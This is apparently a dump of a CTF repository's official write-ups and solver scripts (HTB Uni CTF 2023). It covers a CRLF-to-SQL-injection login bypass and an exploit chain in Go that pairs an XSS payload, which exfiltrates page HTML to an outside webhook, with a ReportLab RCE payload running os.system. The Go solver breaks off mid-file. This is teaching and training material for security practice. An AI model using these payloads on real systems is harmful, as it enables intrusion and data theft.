189 | Using our knowledge of the flag format, the linked list is built in such a way that the first element will correspond to the position of `H`, the second to `T`, the third to `B` and so on. To locate the first entry in the list, we first need to find the position of 'H':
190 |
191 | ```py
192 | for mem in core.mappings:
193 | if 'flag' in mem.name:
194 | flag = mem
195 | break
196 | else:
197 | print("flag not found")
198 | exit()
199 |
200 |
201 | shuffled_flag = core.read(flag.start, 255)
202 | h_pos = shuffled_flag.index(b'H')
203 | print(f"`H` is at {h_pos}")
204 | ```
205 |
206 | We're now looking for a structure in heap memory of this format:
207 |
208 | - 8 byte pointer, should be within the heap
209 | - The position of h as ab yte
210 | - A null byte
211 |
212 | Malloc will round up the size of our list struct to 16, so we'll search in chunks of 16.
213 |
214 | ```py
215 | for addr in range(heap.start, heap.stop, 16):
216 | ptr, pos, char = struct.unpack("PBB", core.read(addr, 10))
217 | if ptr in heap and pos == h_pos and char == 0:
218 | list_head = addr
219 | break
220 | else:
221 | print("list not found")
222 | exit()
223 | ```
224 |
225 | We can now simply traverse the linked list, following the pointers and taking the provided character from the shuffled buffer.
226 |
227 | ```py
228 | flag = ""
229 | while addr:
230 | addr, pos = struct.unpack("PB", core.read(addr, 9))
231 | flag += chr(shuffled_flag[pos])
232 | print(f"Flag is: `{flag.strip()}`")
233 | ```
234 |
--------------------------------------------------------------------------------
/uni-ctf-2023/rev/[Hard] RiseFromTheDead/htb/solve.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python3
2 |
3 | from pwn import *
4 | import struct
5 |
6 | core = Corefile("./core")
7 | for mem in core.mappings:
8 | if mem.name == '':
9 | heap = mem
10 | break
11 | else:
12 | log.error("heap not found")
13 | exit()
14 |
15 | for mem in core.mappings:
16 | if 'flag' in mem.name:
17 | flag = mem
18 | break
19 | else:
20 | log.error("flag not found")
21 | exit()
22 |
23 |
24 | shuffled_flag = core.read(flag.start, 256).decode()
25 | h_pos = shuffled_flag.index('H')
26 | log.info(f"`H` is at {h_pos}")
27 |
28 | for addr in range(heap.start, heap.stop, 16):
29 | ptr, pos, char = struct.unpack("PBB", core.read(addr, 10))
30 | if ptr in heap and pos == h_pos and char == 0:
31 | list_head = addr
32 | break
33 | else:
34 | log.error("list not found")
35 | exit()
36 |
37 | log.info(f"List head at {list_head:#x}")
38 |
39 | flag = ""
40 | while addr:
41 | addr, pos = struct.unpack("PB", core.read(addr, 9))
42 | flag += shuffled_flag[pos]
43 | print(f"Flag is: `{flag.strip()}`")
44 |
--------------------------------------------------------------------------------
/uni-ctf-2023/rev/[Medium] BioBundle/README.md:
--------------------------------------------------------------------------------
1 |
2 |
3 | BioBundle
4 |
5 | 16th 11 23 / Document No. D23.102.XX
6 |
7 | Prepared By: clubby789
8 |
9 | Challenge Author: clubby789>
10 |
11 | Difficulty: Medium
12 |
13 | Classification: Official
14 |
15 |
16 |
17 |
18 |
19 | # Synopsis
20 |
21 | Reversing a flag checker in an encrypted shared libary embedded in a binary.
22 |
23 | ## Skills Required
24 | - Basic decompiler use
25 | - Basic knowledge of dynamic loading
26 | ## Skills Learned
27 | - Use of `memfd_create`
28 |
29 | # Solution
30 |
31 | ## Analysis
32 |
33 | We'll begin by opening the binary in a decompiler.
34 |
35 | ```c
36 | int32_t main(int32_t argc, char** argv, char** envp)
37 | void* _ = dlsym(get_handle(), "_")
38 | int32_t ret
39 | if (_ == 0) {
40 | ret = -1
41 | } else {
42 | char buf[0x80]
43 | fgets(buf: &buf, n: 0x7f, fp: stdin)
44 | buf[strcspn(&buf, "\n")] = 0
45 | if (_(&buf) == 0) {
46 | puts(str: "[x] Critical Failure")
47 | } else {
48 | puts(str: "[*] Untangled the bundle")
49 | }
50 | ret = 0
51 | }
52 | return ret
53 | ```
54 |
55 | This calls `get_handle`, which likely returns a handle to a dynamically loaded libary. It then tries to resolve the symbol named `_` within it.
56 | If this is successful, it reads input from the user and calls the loaded symbol on the user input.
57 | If the return value is non-zero, we print a success message - otherwise, an error message.
58 |
59 | ### `get_handle`
60 |
61 | ```c
62 | void* get_handle()
63 | int32_t fd = memfd_create(":^)", 0)
64 | if (fd == 0xffffffff) {
65 | exit(status: 0xffffffff)
66 | }
67 | for (int64_t i = 0; i u<= 0x3a77; i = i + 1) {
68 | char c = __[i] ^ 0x37
69 | write(fd, buf: &c, nbytes: 1)
70 | }
71 | char buf[0x1000]
72 | __builtin_memset(s: &buf, c: 0, n: 0x1000)
73 | sprintf(s: &buf, format: "/proc/self/fd/%d", fd)
74 | void* handle = dlopen(&buf, 1)
75 | if (handle == 0) {
76 | exit(status: 0xffffffff)
77 | }
78 | return handle
79 | ```
80 |
81 | We begin by creating a file descriptor with `memfd_create`. `memfd_create` creates a temporary, in-memory anonymous file and returns a descriptor for it.
82 | We then write each byte of some large buffer `__`, XOR'd with 0x37, into the new file.
83 |
84 | We then get a path to access the anonymous file via /proc/self/fd, which contains the open file descriptors of the current process. Linux will allow us to treat these as symlinks to real files, even if they're created by `memfd_create`.
85 |
86 | Finally, we call `dlopen` on the fd path. This reveals that the decrypted contents of `__` must be a shared library which is loaded into the process. We'll extract the library, using our decompiler to copy the data out. Using Binary Ninja, we can also decrypt it at this step as follows:
87 |
88 | ```py
89 | with open('/tmp/lib.so', 'wb') as f:
90 | lib = bytes(b ^ 0x37 for b in bv.read(0x4080, 0x3a77))
91 | f.write(lib)
92 | ```
93 |
94 | ## Decompiling `lib.so`
95 |
96 | `lib.so` contains a single user function named `_`. This function constructs a flag value on the stack, then compares it to the input parameter. With this, we can take the flag and solve the challenge.
97 |
--------------------------------------------------------------------------------
/uni-ctf-2023/web/[Easy] GateCrash/README.md:
--------------------------------------------------------------------------------
1 | 
2 |
3 | GateCrash
4 |
5 | 16th November 2023 / D23.xx.xx
6 |
7 | Prepared By: Lean
8 |
9 | Challenge Author(s): Lean
10 |
11 | Difficulty: Easy
12 |
13 | Classification: Official
14 |
15 | # [Synopsis](#synopsis)
16 |
17 | - The challenge involves a user login web application written in Golang and Nim.
18 |
19 | ## Description
20 |
21 | * An administrative portal for the campus parking area has been identified, bypassing it's authentication and gaining access to the gate control would allow us to unlock it and use staff vehicles for securing the campus premises way faster.
22 |
23 | ## Skills Required
24 |
25 | - Basic understanding of Golang
26 | - Basic understanding of Nim
27 | - Basic understanding of the HTTP protocol
28 | - Basic understanding of SQL
29 | - Experience in searching for known vulnurabilities
30 |
31 | ## Skills Learned
32 |
33 | - CRLF injection
34 | - SQL injection login bypass
35 |
36 | ## Application Overview
37 |
38 | 
39 |
40 | ### Nim's httpclient CRLF Injection Vulnerability
41 |
42 | The `main.nim` file contains a piece of code in the `routes` section that checks for SQL injection:
43 |
44 | ```nim
45 | proc containsSqlInjection(input: string): bool =
46 | for c in input:
47 | let ordC = ord(c)
48 | if not ((ordC >= ord('a') and ordC <= ord('z')) or
49 | (ordC >= ord('A') and ordC <= ord('Z')) or
50 | (ordC >= ord('0') and ordC <= ord('9'))):
51 | return true
52 | return false
53 | ```
54 |
55 | The `containsSqlInjection` procedure checks for suspicious characters that could indicate an SQL injection attack. However, it can be bypassed.
56 |
57 | The vulnerability lies in the fact that the code uses `decodeUrl` to decode the user agent header, but it does not properly validate or sanitize the decoded value. This allows an attacker to inject CRLF (Carriage Return Line Feed) characters into the user agent header and bypass the SQL injection check.
58 |
59 | ```nim
60 |
61 | routes:
62 | post "/user":
63 | let username = @"username"
64 | let password = @"password"
65 |
66 | if containsSqlInjection(username) or containsSqlInjection(password):
67 | resp msgjson("Malicious input detected")
68 |
69 | let userAgent = decodeUrl(request.headers["user-agent"])
70 |
71 | let jsonData = %*{
72 | "username": username,
73 | "password": password
74 | }
75 |
76 | let jsonStr = $jsonData
77 |
78 | let client = newHttpClient(userAgent)
79 | client.headers = newHttpHeaders({"Content-Type": "application/json"})
80 |
81 | let response = client.request(userApi & "/login", httpMethod = HttpPost, body = jsonStr)
82 |
83 | if response.code != Http200:
84 | resp msgjson(response.body.strip())
85 |
86 | resp msgjson(readFile("/flag.txt"))
87 | ```
88 |
89 | Nims standard http library suffers from CRLF injection as of version <=1.2.6 [https://consensys.io/diligence/vulnerabilities/nim-httpclient-header-crlf-injection/](https://consensys.io/diligence/vulnerabilities/nim-httpclient-header-crlf-injection/)
90 |
91 | We can verify that the challenge is vulnerable by looking at the `Dockerfile`, at line 22 `nim 1.2.4` is installed.
92 |
93 | ```
94 | RUN choosenim update 1.2.4
95 | ```
96 |
97 | To exploit this vulnerability, we can modify the user agent header in the HTTP POST request to include a CRLF sequence followed by a payload that will bypass the SQL injection check.
98 |
99 | ### SQL Injection
100 |
101 | The `main.go` file implements a Golang server that handles the `/login` route. It also checks the user agent to ensure it matches one of the allowed user agents.
102 |
103 | However, there is a vulnerability in the way the SQL query is constructed. The code concatenates the user input directly into the SQL query string, which allows an attacker to perform an SQL injection attack. This vulnerability can be found in the following lines of code:
104 |
105 | ```go
106 | row := db.QueryRow("SELECT * FROM users WHERE username='" + user.Username + "';")
107 | ```
108 |
109 | To exploit this vulnerability, we can use the Nim CRLF injection vulnerability to bypass the user agent check and inject a payload that contains an SQL injection attack.
110 |
111 | By performing these two steps, we can exploit the vulnerabilities in both Nim and Golang to retrieve the flag.
112 |
113 | ```nim
114 | let payload = """{"username":"' UNION SELECT 1, 'test', '$2a$10$iN4TZptSPm634thWzJmklOEarWGSu6JbWTfNbWntYMqgoRsMsjLjq","password":"test"}"""
115 | ```
116 |
117 | By injecting this payload into the user agent header, the SQL injection check will be bypassed and the code will execute the following query:
118 |
119 | ```sql
120 | SELECT * FROM users WHERE username='' UNION SELECT 1, 'test', '$2a$10$iN4TZptSPm634thWzJmklOEarWGSu6JbWTfNbWntYMqgoRsMsjLjq' AND password='test';
121 | ```
122 |
123 | This query will return a fake user with arbitraty an password hash that matches the one we provide in the request.
124 |
125 | Also a dummy username and password are added with the exact character length of the CRLF payload in order to exactly match the Content-Length of the request thus overwriting the original one with the injected content.
126 |
127 | ```
128 | POST http://127.0.0.1:1337/user
129 | User-Agent: ChromeBot/9.5%0D%0A%0D%0A{"username":"' UNION SELECT 1, 'test', '$2a$10$iN4TZptSPm634thWzJmklOEarWGSu6JbWTfNbWntYMqgoRsMsjLjq","password":"test"}
130 | Accept-Encoding: gzip, deflate, br, zstd
131 | Accept: */*
132 | Connection: keep-alive
133 | Content-Length: 110
134 | Content-Type: application/x-www-form-urlencoded
135 |
136 | username=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa&password=aaaa
137 | ```
--------------------------------------------------------------------------------
/uni-ctf-2023/web/[Easy] GateCrash/assets/overview.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/uni-ctf-2023/b3583f2c204b54c7ea394143122ddd2a545dc3ec/uni-ctf-2023/web/[Easy] GateCrash/assets/overview.png
--------------------------------------------------------------------------------
/uni-ctf-2023/web/[Easy] GateCrash/htb/solver.py:
--------------------------------------------------------------------------------
1 | import requests, requests_raw, json
2 |
3 | HOST, PORT = "127.0.0.1", 1337
4 | CHALLENGE_URL = f"http://{HOST}:{PORT}"
5 |
6 | def pwn():
7 | with requests.Session() as session:
8 | dummy_payload = """{"username":"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa","password":"aaaa"}"""
9 | sqli_payload = """{"username":"' UNION SELECT 1, 'test', '$2a$10$iN4TZptSPm634thWzJmklOEarWGSu6JbWTfNbWntYMqgoRsMsjLjq","password":"test"}"""
10 |
11 | resp = session.post(f"{CHALLENGE_URL}/user", data=eval(dummy_payload), headers={
12 | "User-Agent": f"ChromeBot/9.5%0D%0A%0D%0A{sqli_payload}"
13 | })
14 |
15 | return resp.text
16 |
17 |
18 | def main():
19 | flag = pwn()
20 | print(flag)
21 |
22 |
23 | if __name__ == "__main__":
24 | main()
--------------------------------------------------------------------------------
/uni-ctf-2023/web/[Hard] PhantomFeed/assets/admin.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/uni-ctf-2023/b3583f2c204b54c7ea394143122ddd2a545dc3ec/uni-ctf-2023/web/[Hard] PhantomFeed/assets/admin.png
--------------------------------------------------------------------------------
/uni-ctf-2023/web/[Hard] PhantomFeed/assets/login.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/uni-ctf-2023/b3583f2c204b54c7ea394143122ddd2a545dc3ec/uni-ctf-2023/web/[Hard] PhantomFeed/assets/login.png
--------------------------------------------------------------------------------
/uni-ctf-2023/web/[Hard] PhantomFeed/assets/marketlogin.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/uni-ctf-2023/b3583f2c204b54c7ea394143122ddd2a545dc3ec/uni-ctf-2023/web/[Hard] PhantomFeed/assets/marketlogin.png
--------------------------------------------------------------------------------
/uni-ctf-2023/web/[Hard] PhantomFeed/assets/oauth2grant.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/uni-ctf-2023/b3583f2c204b54c7ea394143122ddd2a545dc3ec/uni-ctf-2023/web/[Hard] PhantomFeed/assets/oauth2grant.png
--------------------------------------------------------------------------------
/uni-ctf-2023/web/[Hard] PhantomFeed/assets/orders.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/uni-ctf-2023/b3583f2c204b54c7ea394143122ddd2a545dc3ec/uni-ctf-2023/web/[Hard] PhantomFeed/assets/orders.png
--------------------------------------------------------------------------------
/uni-ctf-2023/web/[Hard] PhantomFeed/assets/overview1.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/uni-ctf-2023/b3583f2c204b54c7ea394143122ddd2a545dc3ec/uni-ctf-2023/web/[Hard] PhantomFeed/assets/overview1.png
--------------------------------------------------------------------------------
/uni-ctf-2023/web/[Hard] PhantomFeed/assets/overview2.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/uni-ctf-2023/b3583f2c204b54c7ea394143122ddd2a545dc3ec/uni-ctf-2023/web/[Hard] PhantomFeed/assets/overview2.png
--------------------------------------------------------------------------------
/uni-ctf-2023/web/[Hard] PhantomFeed/assets/pdf.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/uni-ctf-2023/b3583f2c204b54c7ea394143122ddd2a545dc3ec/uni-ctf-2023/web/[Hard] PhantomFeed/assets/pdf.png
--------------------------------------------------------------------------------
/uni-ctf-2023/web/[Hard] PhantomFeed/assets/register.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/uni-ctf-2023/b3583f2c204b54c7ea394143122ddd2a545dc3ec/uni-ctf-2023/web/[Hard] PhantomFeed/assets/register.png
--------------------------------------------------------------------------------
/uni-ctf-2023/web/[Hard] PhantomFeed/conf/nginx.conf:
--------------------------------------------------------------------------------
1 | events {
2 | worker_connections 1024;
3 | }
4 |
5 | http {
6 | server {
7 | listen 1337;
8 | server_name pantomfeed;
9 |
10 | location / {
11 | proxy_pass http://127.0.0.1:5000;
12 | }
13 |
14 | location /phantomfeed {
15 | proxy_pass http://127.0.0.1:3000;
16 | proxy_set_header Host $host;
17 | proxy_set_header X-Real-IP $remote_addr;
18 | }
19 |
20 | location /backend {
21 | proxy_pass http://127.0.0.1:4000;
22 | }
23 | }
24 | }
25 |
--------------------------------------------------------------------------------
/uni-ctf-2023/web/[Hard] PhantomFeed/conf/supervisord.conf:
--------------------------------------------------------------------------------
1 | [supervisord]
2 | user=root
3 | nodaemon=true
4 | logfile=/dev/null
5 | logfile_maxbytes=0
6 | pidfile=/run/supervisord.pid
7 |
8 | [program:nginx]
9 | command=/usr/sbin/nginx -g "daemon off;"
10 | autostart=true
11 | autorestart=true
12 | stderr_logfile=/var/log/nginx/error.log
13 | stdout_logfile=/var/log/nginx/access.log
14 |
15 | [program:phantomfeed]
16 | command=python /app/phantom-feed/run.py
17 | user=root
18 | autorestart=true
19 | stdout_logfile=/dev/stdout
20 | stdout_logfile_maxbytes=0
21 | stderr_logfile=/dev/stderr
22 | stderr_logfile_maxbytes=0
23 |
24 | [program:phantommarketbackend]
25 | command=python /app/phantom-market-backend/run.py
26 | user=root
27 | autorestart=true
28 | stdout_logfile=/dev/stdout
29 | stdout_logfile_maxbytes=0
30 | stderr_logfile=/dev/stderr
31 | stderr_logfile_maxbytes=0
32 |
33 | [program:phantommarketfrontend]
34 | command=npm start --prefix /app/phantom-market-frontend
35 | user=root
36 | autorestart=true
37 | stdout_logfile=/dev/stdout
38 | stdout_logfile_maxbytes=0
39 | stderr_logfile=/dev/stderr
40 | stderr_logfile_maxbytes=0
--------------------------------------------------------------------------------
/uni-ctf-2023/web/[Hard] PhantomFeed/entrypoint.sh:
--------------------------------------------------------------------------------
1 | #!/bin/ash
2 |
3 | # Change flag name
4 | mv /flag.txt /flag$(cat /dev/urandom | tr -cd 'a-f0-9' | head -c 10).txt
5 |
6 | # Secure entrypoint
7 | chmod 600 /entrypoint.sh
8 |
9 | # Generate RSA Key Pair
10 | openssl genrsa -out /app/private.pem 2048
11 |
12 | # Extract the public key
13 | openssl rsa -in /app/private.pem -outform PEM -pubout -out /app/public.pem
14 |
15 | # Launch supervisord
16 | /usr/bin/supervisord -c /etc/supervisord.conf
17 |
--------------------------------------------------------------------------------
/uni-ctf-2023/web/[Hard] PhantomFeed/htb/go.mod:
--------------------------------------------------------------------------------
1 | module solver
2 |
3 | go 1.19
4 |
5 | require (
6 | github.com/go-stack/stack v1.8.1 // indirect
7 | github.com/inconshreveable/log15 v3.0.0-testing.3+incompatible // indirect
8 | github.com/inconshreveable/log15/v3 v3.0.0-testing.5 // indirect
9 | github.com/jpillora/backoff v1.0.0 // indirect
10 | github.com/mattn/go-colorable v0.1.13 // indirect
11 | github.com/mattn/go-isatty v0.0.16 // indirect
12 | go.uber.org/multierr v1.10.0 // indirect
13 | golang.ngrok.com/muxado/v2 v2.0.0 // indirect
14 | golang.ngrok.com/ngrok v1.4.1 // indirect
15 | golang.org/x/net v0.10.0 // indirect
16 | golang.org/x/sys v0.8.0 // indirect
17 | golang.org/x/term v0.8.0 // indirect
18 | google.golang.org/protobuf v1.28.1 // indirect
19 | )
20 |
--------------------------------------------------------------------------------
/uni-ctf-2023/web/[Hard] PhantomFeed/htb/go.sum:
--------------------------------------------------------------------------------
1 | github.com/go-stack/stack v1.8.1 h1:ntEHSVwIt7PNXNpgPmVfMrNhLtgjlmnZha2kOpuRiDw=
2 | github.com/go-stack/stack v1.8.1/go.mod h1:dcoOX6HbPZSZptuspn9bctJ+N/CnF5gGygcUP3XYfe4=
3 | github.com/golang/protobuf v1.5.0/go.mod h1:FsONVRAS9T7sI+LIUmWTfcYkHO4aIWwzhcaSAoJOfIk=
4 | github.com/google/go-cmp v0.5.5/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE=
5 | github.com/inconshreveable/log15 v3.0.0-testing.3+incompatible h1:zaX5fYT98jX5j4UhO/WbfY8T1HkgVrydiDMC9PWqGCo=
6 | github.com/inconshreveable/log15 v3.0.0-testing.3+incompatible/go.mod h1:cOaXtrgN4ScfRrD9Bre7U1thNq5RtJ8ZoP4iXVGRj6o=
7 | github.com/inconshreveable/log15/v3 v3.0.0-testing.5 h1:h4e0f3kjgg+RJBlKOabrohjHe47D3bbAB9BgMrc3DYA=
8 | github.com/inconshreveable/log15/v3 v3.0.0-testing.5/go.mod h1:3GQg1SVrLoWGfRv/kAZMsdyU5cp8eFc1P3cw+Wwku94=
9 | github.com/jpillora/backoff v1.0.0 h1:uvFg412JmmHBHw7iwprIxkPMI+sGQ4kzOWsMeHnm2EA=
10 | github.com/jpillora/backoff v1.0.0/go.mod h1:J/6gKK9jxlEcS3zixgDgUAsiuZ7yrSoa/FX5e0EB2j4=
11 | github.com/mattn/go-colorable v0.1.13 h1:fFA4WZxdEF4tXPZVKMLwD8oUnCTTo08duU7wxecdEvA=
12 | github.com/mattn/go-colorable v0.1.13/go.mod h1:7S9/ev0klgBDR4GtXTXX8a3vIGJpMovkB8vQcUbaXHg=
13 | github.com/mattn/go-isatty v0.0.16 h1:bq3VjFmv/sOjHtdEhmkEV4x1AJtvUvOJ2PFAZ5+peKQ=
14 | github.com/mattn/go-isatty v0.0.16/go.mod h1:kYGgaQfpe5nmfYZH+SKPsOc2e4SrIfOl2e/yFXSvRLM=
15 | go.uber.org/multierr v1.10.0 h1:S0h4aNzvfcFsC3dRF1jLoaov7oRaKqRGC/pUEJ2yvPQ=
16 | go.uber.org/multierr v1.10.0/go.mod h1:20+QtiLqy0Nd6FdQB9TLXag12DsQkrbs3htMFfDN80Y=
17 | golang.ngrok.com/muxado/v2 v2.0.0 h1:bu9eIDhRdYNtIXNnqat/HyMeHYOAbUH55ebD7gTvW6c=
18 | golang.ngrok.com/muxado/v2 v2.0.0/go.mod h1:wzxJYX4xiAtmwumzL+QsukVwFRXmPNv86vB8RPpOxyM=
19 | golang.ngrok.com/ngrok v1.4.1 h1:z53H/hAqSJf+K5wL3v4m01Dp4rU0wcf323iMPBQ27QA=
20 | golang.ngrok.com/ngrok v1.4.1/go.mod h1:8a8GVoqR305t0O51ld211Xq2UeKgm32o8px24ddvXZI=
21 | golang.org/x/net v0.10.0 h1:X2//UzNDwYmtCLn7To6G58Wr6f5ahEAQgKNzv9Y951M=
22 | golang.org/x/net v0.10.0/go.mod h1:0qNGK6F8kojg2nk9dLZ2mShWaEBan6FAoqfSigmmuDg=
23 | golang.org/x/sys v0.0.0-20220811171246-fbc7d0a398ab/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
24 | golang.org/x/sys v0.8.0 h1:EBmGv8NaZBZTWvrbjNoL6HVt+IVy3QDQpJs7VRIw3tU=
25 | golang.org/x/sys v0.8.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
26 | golang.org/x/term v0.8.0 h1:n5xxQn2i3PC0yLAbjTpNT85q/Kgzcr2gIoX9OrJUols=
27 | golang.org/x/term v0.8.0/go.mod h1:xPskH00ivmX89bAKVGSKKtLOWNx2+17Eiy94tnKShWo=
28 | golang.org/x/xerrors v0.0.0-20191204190536-9bdfabe68543/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
29 | google.golang.org/protobuf v1.26.0-rc.1/go.mod h1:jlhhOSvTdKEhbULTjvd4ARK9grFBp09yW+WbY/TyQbw=
30 | google.golang.org/protobuf v1.28.1 h1:d0NfwRgPtno5B1Wa6L2DAG+KivqkdutMf1UhdNx175w=
31 | google.golang.org/protobuf v1.28.1/go.mod h1:HV8QOd/L58Z+nl8r43ehVNZIU/HEI6OcFqwMG9pJV4I=
32 |
--------------------------------------------------------------------------------
/uni-ctf-2023/web/[Hard] PhantomFeed/htb/solver.go:
--------------------------------------------------------------------------------
1 | package main
2 |
3 | import (
4 | "bytes"
5 | "context"
6 | "crypto/rand"
7 | "encoding/base64"
8 | "encoding/hex"
9 | "fmt"
10 | "io"
11 | "io/ioutil"
12 | "net/http"
13 | "net/url"
14 | "regexp"
15 | "strings"
16 | "sync"
17 |
18 | "golang.ngrok.com/ngrok"
19 | "golang.ngrok.com/ngrok/config"
20 | )
21 |
22 | const (
23 | HOST = "127.0.0.1"
24 | PORT = "1337"
25 | CHALLENGE_URL = "http://" + HOST + ":" + PORT
26 | CLIENT_ID = "phantom-market"
27 | )
28 |
29 | type Webhook struct {
30 | URL string
31 | Token string
32 | }
33 |
34 | var cookie string
35 | var WEBHOOK_URL string
36 | var leakedTokenResponse string
37 |
38 | func generateRandomHex(length int) (string, error) {
39 | if length%2 != 0 {
40 | return "", fmt.Errorf("length must be even")
41 | }
42 |
43 | b := make([]byte, length/2)
44 | _, err := io.ReadFull(rand.Reader, b)
45 | if err != nil {
46 | return "", err
47 | }
48 | return hex.EncodeToString(b), nil
49 | }
50 |
51 | func registerUser(username, password string, wg *sync.WaitGroup) {
52 | fmt.Println("[+] registering random user...")
53 |
54 | defer wg.Done()
55 | redos := "a@aaaaaaaaaaaaaaaaaaaaaaaaaa!"
56 | fmt.Println("[+] generated reDOS payload: " + redos)
57 |
58 | data := url.Values{
59 | "username": {username},
60 | "password": {password},
61 | "email": {redos},
62 | }
63 |
64 | client := &http.Client{
65 | CheckRedirect: func(req *http.Request, via []*http.Request) error {
66 | return http.ErrUseLastResponse
67 | },
68 | }
69 | _, err := client.PostForm(CHALLENGE_URL+"/phantomfeed/register", data)
70 | if err != nil {
71 | fmt.Println("Error making registration request:", err)
72 | }
73 | }
74 |
75 | func loginUser(username, password string, wg *sync.WaitGroup) {
76 | defer wg.Done()
77 | var loginWg sync.WaitGroup
78 |
79 | fmt.Println("[+] triggering race condition via reDOS...")
80 |
81 | for i := 0; i < 100; i++ {
82 | loginWg.Add(1)
83 |
84 | data := url.Values{
85 | "username": {username},
86 | "password": {password},
87 | }
88 |
89 | go func() {
90 | defer loginWg.Done()
91 | client := &http.Client{
92 | CheckRedirect: func(req *http.Request, via []*http.Request) error {
93 | return http.ErrUseLastResponse
94 | },
95 | }
96 | resp, err := client.PostForm(CHALLENGE_URL+"/phantomfeed/login", data)
97 | if err != nil {
98 | fmt.Println("Error making login request:", err)
99 | return
100 | }
101 |
102 | if resp.StatusCode == http.StatusFound {
103 | cookie = resp.Header.Get("Set-Cookie")
104 | fmt.Println("[+] race condition found, generating jwt token...")
105 | }
106 | }()
107 | }
108 |
109 | loginWg.Wait()
110 | }
111 |
112 | func extractToken(cookieString string) (string, error) {
113 | cookieEntries := strings.Split(cookieString, ";")
114 |
115 | for _, entry := range cookieEntries {
116 | entry = strings.TrimSpace(entry)
117 | if strings.HasPrefix(entry, "token=") {
118 | token := strings.TrimPrefix(entry, "token=")
119 | return token, nil
120 | }
121 | }
122 |
123 | return "", fmt.Errorf("Token not found in the cookie string")
124 | }
125 |
126 | func createAuthCode(token string, xss string) (string, error) {
127 | endpointURL := fmt.Sprintf("%s/phantomfeed/oauth2/code?client_id=%s&redirect_url=%s", CHALLENGE_URL, CLIENT_ID, xss)
128 |
129 | cookie := &http.Cookie{
130 | Name: "token",
131 | Value: token,
132 | }
133 |
134 | client := &http.Client{
135 | CheckRedirect: func(req *http.Request, via []*http.Request) error {
136 | return http.ErrUseLastResponse
137 | },
138 | }
139 |
140 | req, err := http.NewRequest("GET", endpointURL, nil)
141 | if err != nil {
142 | fmt.Printf("Error creating request: %s\n", err)
143 | return "", err
144 | }
145 |
146 | req.AddCookie(cookie)
147 |
148 | resp, err := client.Do(req)
149 | if err != nil {
150 | fmt.Printf("Error making GET request: %s\n", err)
151 | return "", err
152 | }
153 | defer resp.Body.Close()
154 |
155 | body, err := ioutil.ReadAll(resp.Body)
156 | if err != nil {
157 | fmt.Printf("Error reading response body: %s\n", err)
158 | return "", err
159 | }
160 |
161 | if resp.StatusCode != http.StatusSeeOther {
162 | return "", err
163 | }
164 |
165 | authorizationCode := extractAuthorizationCode(string(body))
166 | if authorizationCode != "" {
167 | fmt.Println("[+] generated oauth2 authorization code")
168 | return authorizationCode, nil
169 | } else {
170 | fmt.Println("Failed to parse authorization code from the response.")
171 | return "", err
172 | }
173 |
174 | }
175 |
176 | func extractAuthorizationCode(input string) string {
177 | regex := regexp.MustCompile(`authorization_code=([A-Za-z0-9]+)`)
178 |
179 | match := regex.FindStringSubmatch(input)
180 |
181 | if len(match) != 2 {
182 | return ""
183 | }
184 |
185 | authorizationCode := match[1]
186 |
187 | return authorizationCode
188 | }
189 |
190 | func createXSS() string {
191 | jsPayload := "fetch(`" + WEBHOOK_URL + "?c=${btoa(document.documentElement.outerHTML)}`,{mode:'cors'})"
192 | encodedPayload := base64.RawURLEncoding.EncodeToString([]byte(jsPayload))
193 | urlEncodedString := url.QueryEscape("")
194 | fmt.Println("[+] created xss payload: " + urlEncodedString)
195 | return urlEncodedString
196 | }
197 |
198 | func createOpenRedirect(authorizationCode string, xss string) string {
199 | encodedString := "///127.0.0.1:1337/phantomfeed/oauth2/token?authorization_code=" + authorizationCode + "&client_id=" + CLIENT_ID + "&redirect_url=" + xss
200 | fmt.Println("[+] created xss embeded open redirect payload: " + encodedString)
201 | return encodedString
202 | }
203 |
204 | func createPost(token string, marketLink string) {
205 | fmt.Println("[+] creating malicious post and triggering open redirect...")
206 |
207 | client := &http.Client{
208 | CheckRedirect: func(req *http.Request, via []*http.Request) error {
209 | return http.ErrUseLastResponse
210 | },
211 | }
212 |
213 | cookie := &http.Cookie{
214 | Name: "token",
215 | Value: token,
216 | }
217 |
218 | data := url.Values{
219 | "content": []string{"test"},
220 | "market_link": []string{marketLink},
221 | }
222 |
223 | body := strings.NewReader(data.Encode())
224 |
225 | req, err := http.NewRequest("POST", CHALLENGE_URL+"/phantomfeed/feed", body)
226 | if err != nil {
227 | return
228 | }
229 |
230 | req.Header.Set("Content-Type", "application/x-www-form-urlencoded")
231 | req.AddCookie(cookie)
232 |
233 | resp, err := client.Do(req)
234 | if err != nil {
235 | return
236 | }
237 | defer resp.Body.Close()
238 | }
239 |
240 | func reportLabRCE(cmd string) string {
241 | rce := "[ [ getattr(pow,Word('__globals__'))['os'].system('" + cmd + "') for Word in [orgTypeFun('Word', (str,), { 'mutated': 1, 'startswith': lambda self, x: False, '__eq__': lambda self,x: self.mutate() and self.mutated < 0 and str(self) == x, 'mutate': lambda self: {setattr(self, 'mutated', self.mutated - 1)}, '__hash__': lambda self: hash(str(self)) })] ] for orgTypeFun in [type(type(1))] ] and 'red'"
242 | fmt.Println("[+] generated reportlab rce payload: " + rce)
243 | return rce
244 | }
245 |
246 | func getPDF(token string, cmd string) {
